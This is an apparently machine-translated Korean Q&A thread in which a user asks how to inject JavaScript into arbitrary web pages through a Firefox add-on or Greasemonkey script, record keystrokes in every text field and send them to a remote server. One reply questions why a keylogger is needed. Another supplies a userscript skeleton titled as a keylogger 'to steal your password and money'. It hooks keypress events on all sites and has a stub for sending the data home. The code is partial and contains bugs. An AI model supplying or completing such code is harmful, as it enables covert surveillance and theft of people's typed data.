2009-08-30 6 views
-3

사용자의 타이핑 패턴을 분석하는 앱을 개발 중입니다. 이 작업을 수행하려면 사용자가있는 웹 페이지의 HTML (예 : yahoo.com)을 변경해야합니다. 페이지의 모든 텍스트 상자 항목에 대해 몇 가지 JavaScript 함수를 추가하여 키 다운 및 키 업 이벤트를 캡처하십시오 . 그래서, 나는 기존의 페이지에 새로운 JavaScript를 추가 할 수 있어야한다. 이 함수는 데이터를 패키지로 묶어 원격 서버 (예 : myApp.com)로 보냅니다. 자바 스크립트를 삽입하는 Firefox 플러그인 또는 greasemonkey 스크립트

  • 웹 페이지
  • (A)에 모든 textarea 요소 위에 추가 된 자바 스크립트에 정의 된 일부 기능을 추가 HTML 페이지로

    1. 삽입 자바 스크립트 :

      나는 도움이 필요 위의 JavaScript에서 원격 서버로 데이터를 전송하는 방법 (예 : 원래 페이지를 제공하는 서버가 아님)

    Firefox 플러그인이 바람직합니다. t Greasemonkey 스크립트도 OK입니다 ...

    고마워요!

  • +9

    왜 키 로거가 필요합니까? –

    +0

    무엇을 시도 했습니까? 아직 건물을 짓기 시작 했니? 어떤 특정 문제가 있습니까? –

    +0

    키 누르기와 패키지 데이터를 분석하는 자바 스크립트가 준비되었습니다. 텍스트 상자가있는 테스트 페이지가 있으며 사용자 입력을 캡처 할 수 있습니다. 이제는 다른 웹 페이지와 통합해야하며 시작하려면 도움이 필요합니다. – user162916

    답변

    0

    당신이 파이어 폭스에서만 동작하는 것을 신경 쓰지 않는다면 Mozilla Jetpack을 권하고 싶습니다.

    jQuery과 함께 일하게되어 기쁩니다. 매우 익숙한 환경입니다.

    0

    이것은 keyup 및 keydown 이벤트를 가져 오는 데 필요한 코드입니다.

    // ==UserScript== 
    // @name   Log-O-Matic 
    // @description A keylogger to steal your password and money ^^ 
    // @include  http*://* 
    // ==/UserScript== 
    
    var collected_data=""; 
    function collect(event){ collected_data+="/"+event.keyCode;} 
    function send_home(){ /* use GM_xmlhttprequest here to send collected_data */} 
    var textareas = document.getElementsByTagName("textarea"); 
    for(i in textareas) { 
        textareas[i].onKeyPress=collect; 
    } 
    var inputs = document.getElementsByTagName("input"); 
    for(i in input) { 
        if(input[i].type!="password")input[i].onKeyPress=collect; 
    }